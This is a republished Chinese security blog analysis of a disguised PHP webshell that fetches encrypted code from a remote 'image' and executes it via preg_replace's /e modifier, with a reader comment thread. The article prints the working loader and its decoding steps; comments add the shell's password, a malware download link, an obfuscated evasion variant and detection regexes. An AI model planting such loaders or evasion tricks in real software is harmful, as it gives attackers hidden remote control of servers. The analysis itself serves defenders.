CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

360 后门

2017年5月23日 1209点热度 0人点赞 0条评论

360 后门

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

一款猥琐的PHP后门分析

360网站卫士2014-03-19共341632人围观 ,发现 110 个不明物体WEB安全

近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
?>

如图所示:

分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…),其实整个webshell就一个class外加三个function,如图

首先我先看一下它的前端html代码,其中有这么一段js程序

document.onkeydown = function(e) {
vartheEvent = window.event || e;      
var code = theEvent.keyCode || theEvent.which; 
if (80 == code) {
$("login").style.display = "block"
}
}

这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键

所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:

再看init()的逻辑

如图所示,先看这句代码

$true = 
@gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',  '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59'), $_POST['key'], true)));

根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,

unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')),$_POST['key'] , true))

所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE[‘key’],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下

function callback() {
	varjson = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
    }
	if (json.notice) {
		$("notice").style.display = "block";
		$("notice").innerHTML = json.notice;
sideOut();
	}
}

这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示

这里跟前面POST的逻辑一样,下面当判断为’true’以后,这里又请求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容,

登陆成功之后如图所示:

总结:

这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!

作者:genxor

360网站卫士

360网站卫士5 篇文章等级: 2级
|
|
  • 上一篇:Paypal的一个Dom型XSS漏洞分析
  • 下一篇:移动APP安全在渗透测试中的应用

这些评论亮了

  • genxor(2级)安全研究员回复
    麻烦下次把我的ID也写上吧,不然看着自己的文章真尴尬!!!
    )132(亮了
  • xixuedafa(1级)回复
    没有waf以及杀软可能就没有这个,
    没有DEP就没有ROP,没有ALSR就没有noaslr,kifastsystemcall,
    有的时候也不知道是对是错,也许就是天意,
    可能很久很久以前,在另外一个星球发生过一样了事情,
    最后,那个星系爆炸,星球也没了。
    )44(亮了
  • FB客服(7级)FreeBuf官方客服回复
    @genxor  啊呀,原作者来了,下次你们团队投递文章带上作者吧,已添加作者相关信息 :shock:
    )15(亮了
  • billcan(3级)知之为知之,不知为不知、回复
    给个完整源码加下载地址?
    )14(亮了
  • balckbin(1级)回复
    @FB客服  原作者是我 丫只是分析别搞错了!!!
    )13(亮了
发表评论

已有 110 条评论

  • dosmlp (2级)我很懒,什么都不想写 2014-03-19回复1楼

    360?

    亮了(3)
  • xixuedafa (1级) 2014-03-19回复2楼

    没有waf以及杀软可能就没有这个,
    没有DEP就没有ROP,没有ALSR就没有noaslr,kifastsystemcall,
    有的时候也不知道是对是错,也许就是天意,
    可能很久很久以前,在另外一个星球发生过一样了事情,
    最后,那个星系爆炸,星球也没了。

    亮了(44)
  • 凡雨 (2级) 2014-03-19回复3楼

    这个的密码是什么?

    亮了(3)
    • Uing07 2014-03-23回复

      @凡雨  password:demo123456

      亮了(3)
  • 土豆 2014-03-19回复4楼

    好流弊的样子啊。。。长见识了。

    亮了(3)
  • genxor (2级)安全研究员 2014-03-19回复5楼

    麻烦下次把我的ID也写上吧,不然看着自己的文章真尴尬!!!

    亮了(132)
    • FB客服 (7级)FreeBuf官方客服 2014-03-19回复

      @genxor  啊呀,原作者来了,下次你们团队投递文章带上作者吧,已添加作者相关信息 :shock:

      亮了(15)
      • TimGreen (1级) 2014-03-20回复

        @FB客服  FB客服专注卖萌三十年。。。

        亮了(4)
      • balckbin (1级) 2014-03-20回复

        @FB客服  原作者是我 丫只是分析别搞错了!!!

        亮了(13)
  • demo123456 2014-03-19回复6楼

    demo123456

    亮了(3)
  • 擦 2014-03-19回复7楼

    这调试器是啥? zend?

    亮了(4)
  • softbug (7级)011101000110100001100001011011... 2014-03-20回复8楼

    怎么不见百度网盘地址

    亮了(2)
  • billcan (3级)知之为知之,不知为不知、 2014-03-20回复9楼

    给个完整源码加下载地址?

    亮了(14)
  • 折腾 (1级) 2014-03-20回复10楼

    银的一手好湿

    亮了(2)
  • 我是黑阔 2014-03-20回复11楼

    又见360推广软文!!!

    亮了(4)
  • Fucker (1级) 2014-03-20回复12楼

    @genxor 你猜我是谁~~~哈哈

    亮了(3)
    • c.d 2014-03-20回复

      @Fucker  你是作者。

      亮了(2)
  • iehx (1级) 2014-03-20回复13楼

    作者的ID呢,分析的不错

    亮了(1)
  • Master (3级) 2014-03-20回复14楼

    Mark 。略吊

    亮了(1)
  • 雇佣兵 2014-03-20回复15楼

    来一个下载地址,咱也研究研究

    亮了(1)
  • genxor (2级)安全研究员 2014-03-20回复16楼

    @Fucker 后门是你写的?

    亮了(1)
    • blakbin 2014-03-20回复

      @genxor  我是作者我已经升级到第二版,第一版代码已经封掉了,运行后会看到升级提示~

      亮了(1)
      • 360网站卫士 (2级)360网站卫士安全团队 2014-03-20回复

        @blakbin 能私信我个你的Q么

        亮了(4)
      • ghost119 (2级) 2014-03-20回复

        @blakbin 求第二版

        亮了(2)
    • 打酱油 2014-03-23回复

      @genxor  小e么

      亮了(1)
  • winger 2014-03-20回复17楼

    没有预处理的waf 都是扯蛋蛋
    waf 的作用应该是动态变动后的提示 而不是def everything 。
    如果有预处理。
    系统新出现这段代码就应该报警了
    preg_replace("~(.*)~ies",gzuncompress($_SESSION
    preg_replace\([^)]*$_\[([^)]*\]\)

    亮了(1)
    • winger 2014-03-20回复

      @winger preg_replace\([^\)]*$_\[([^\)])*\]\)

      亮了(1)
      • winger 2014-03-22回复

        做到语言解析层才靠谱,否则以文件内容来判断是否有害,就和用肉眼去判断某个食材是否有毒一样,典型的安全认知错位。

        亮了(1)
  • blakbin 2014-03-20回复18楼

    新版本不在使用高危函数例如 preg_replace e修饰符同时php5.5已经去掉e 不再使用 eval 不在使用assert采用新的匿名方式回调
    http://require.duapp.com/session.php

    亮了(4)
  • laterain (1级)Know It Then HACK It . 2014-03-20回复19楼

    额,还要到外网去获取代码,要是服务器不能连接外网不就哭了

    亮了(6)
  • yyyy3333 2014-03-20回复20楼

    我特么就好奇 中国菜刀怎么连

    亮了(1)
  • ghost119 (2级) 2014-03-20回复21楼

    这个东东,希望可以改进一下不要读取远程调用的的东东比较好些

    亮了(1)
  • cucko (1级) 2014-03-20回复22楼

    只在 很猥琐。。。

    亮了(1)
  • LittleHann (5级)阿里巴巴安全工程师 2014-03-20回复23楼

    http://www.freebuf.com/articles/web/11403.html
    http://ruo.me/index.php/archives/363
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    亮了(3)
  • 千域千寻 (1级)帝吼天啸关山震 皇天后土伏做臣 2014-03-20回复24楼

    猥琐,太猥琐了,不过我喜欢

    亮了(1)
    • pinnnk。 (3级) 2014-03-21回复

      @千域千寻  我觉得我认识你

      亮了(1)
  • AFU (2级)菜鸟来取取经 2014-03-21回复25楼

    我靠,简直是超神了啊,比免杀一句话免杀大马带劲多了,膜拜作者

    亮了(1)
  • 高富帅屌丝 (1级) 2014-03-22回复26楼

    把你这个马都发出来,

    亮了(1)
  • 打酱油 2014-03-23回复27楼

    这个马有人发出来了下载地址:http://require.duapp.com/v3.rar

    亮了(1)
  • k 2014-03-24回复28楼

    preg_replace里带e比较二缺了.

    亮了(0)
  • BikongV 2014-03-24回复29楼

    猥琐…

    亮了(0)
  • 凯文 2014-03-24回复30楼

    ("~(.*)~ies" 不行不行. 一句话就暴露了……………….

    亮了(0)
  • 凯文 2014-03-24回复31楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复32楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复33楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复34楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复35楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复36楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复37楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复38楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复39楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复40楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复41楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复42楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复43楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复44楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复45楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复46楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复47楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复48楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复49楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
  • 凯文 2014-03-24回复50楼

    $o1="pre";$o2="g_rep";$o3="lace";$o4="~(.*)~ios";$o=$o1.$o2.$o3.str_replace(‘o’,'e’,$o4);@$o(xxxxxxxxxx)

    亮了(0)
1 2 下一页

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

360网站卫士

360网站卫士

360网站卫士安全团队

5 篇文章4 条评论

相关阅读

  • 看我如何绕过一个Webshell认证
  • 分离Weevely加密模块加密任意WebShell
  • 一款猥琐的PHP后门分析
  • ModSecurity技巧:使用ssdeep检测Webshell
  • [更新源码]如何用ZoomEye(钟馗之眼)批量获得站点权限

特别推荐

关注我们 分享每日精选文章

不容错过

  • 一周海外安全事件回顾(8.31-9.6):扑朔迷离的艳照门blackscreen2014-09-11
  • 【周五预告】FreeBuf公开课直播间 | 企业安全建设之使用开源软件搭建大规模WAF集群FB客服2017-03-24
  • Kali 2.0中无线安全工具更新特性(浅谈pixie结合reaver的攻击原理)月尽西楼2015-08-14
  • 技术分享:WIFI钓鱼的入门姿势东二门陈冠希2016-03-14

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me